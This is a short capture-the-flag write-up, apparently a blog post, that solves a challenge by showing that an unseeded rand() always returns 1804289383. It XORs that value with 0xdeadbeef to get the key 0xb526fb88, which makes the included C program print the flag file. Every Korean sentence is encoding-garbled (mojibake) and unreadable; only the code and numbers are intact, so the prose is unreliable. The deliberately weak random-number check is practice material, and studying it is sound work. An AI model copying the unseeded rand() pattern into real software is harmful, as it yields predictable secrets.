์ด ๋‚ด์šฉ์„ ์ดํ•ดํ•˜๊ณ  ๋ฌธ์ œ๋ฅผ ๋‹ค์‹œ ๋ณด์ž.

#include <stdio.h>

int main(){
	unsigned int random;
	random = rand();	// random value!
  // random value๊ฐ€ ์•„๋‹Œ, rand()ํ•จ์ˆ˜ ์‹คํ–‰์‹œ ์ฒ˜์Œ ๋‚˜์˜ค๋Š” ๊ฐ’์œผ๋กœ ์ผ์ •
	unsigned int key=0;
	scanf("%d", &key);

	if( (key ^ random) == 0xdeadbeef ){
		printf("Good!\n");
		system("/bin/cat flag");
		return 0;
	}

	printf("Wrong, maybe you should try 2^32 cases.\n");
	return 0;
}

random = rand()๋กœ ๋žœ๋ค ๊ฐ’์ด ๋“ค์–ด๊ฐ€๋Š” ๊ฒƒ์ด ์•„๋‹Œ, ์ผ์ •ํ•œ ๊ฐ’(1804289383)์ด ๋“ค์–ด๊ฐ€๊ฒŒ ๋œ๋‹ค.

๋”ฐ๋ผ์„œ ์šฐ๋ฆฌ๋Š” key ^ random == 0xdeadbeef๋ฅผ ๋งŒ์กฑํ•˜๋„๋ก key ๊ฐ’์„ ์ฃผ๋ฉด ๋œ๋‹ค.

key xor random = 0xdeadbeef -> key = 0xdeadbeef xor random ์ด๊ธฐ ๋•Œ๋ฌธ์— ํ‚ค ๊ฐ’์„ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

1804289383 -> 0x6b8b4567

image

๋”ฐ๋ผ์„œ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•˜๊ณ  key ๊ฐ’์œผ๋กœ 3039230856(0xb526fb88)์„ ์ž…๋ ฅํ•ด์ฃผ๋ฉด ํ’€ ์ˆ˜ ์žˆ๋‹ค.

image

ํƒœ๊ทธ: ,

์นดํ…Œ๊ณ ๋ฆฌ:

์—…๋ฐ์ดํŠธ:

๋Œ“๊ธ€๋‚จ๊ธฐ๊ธฐ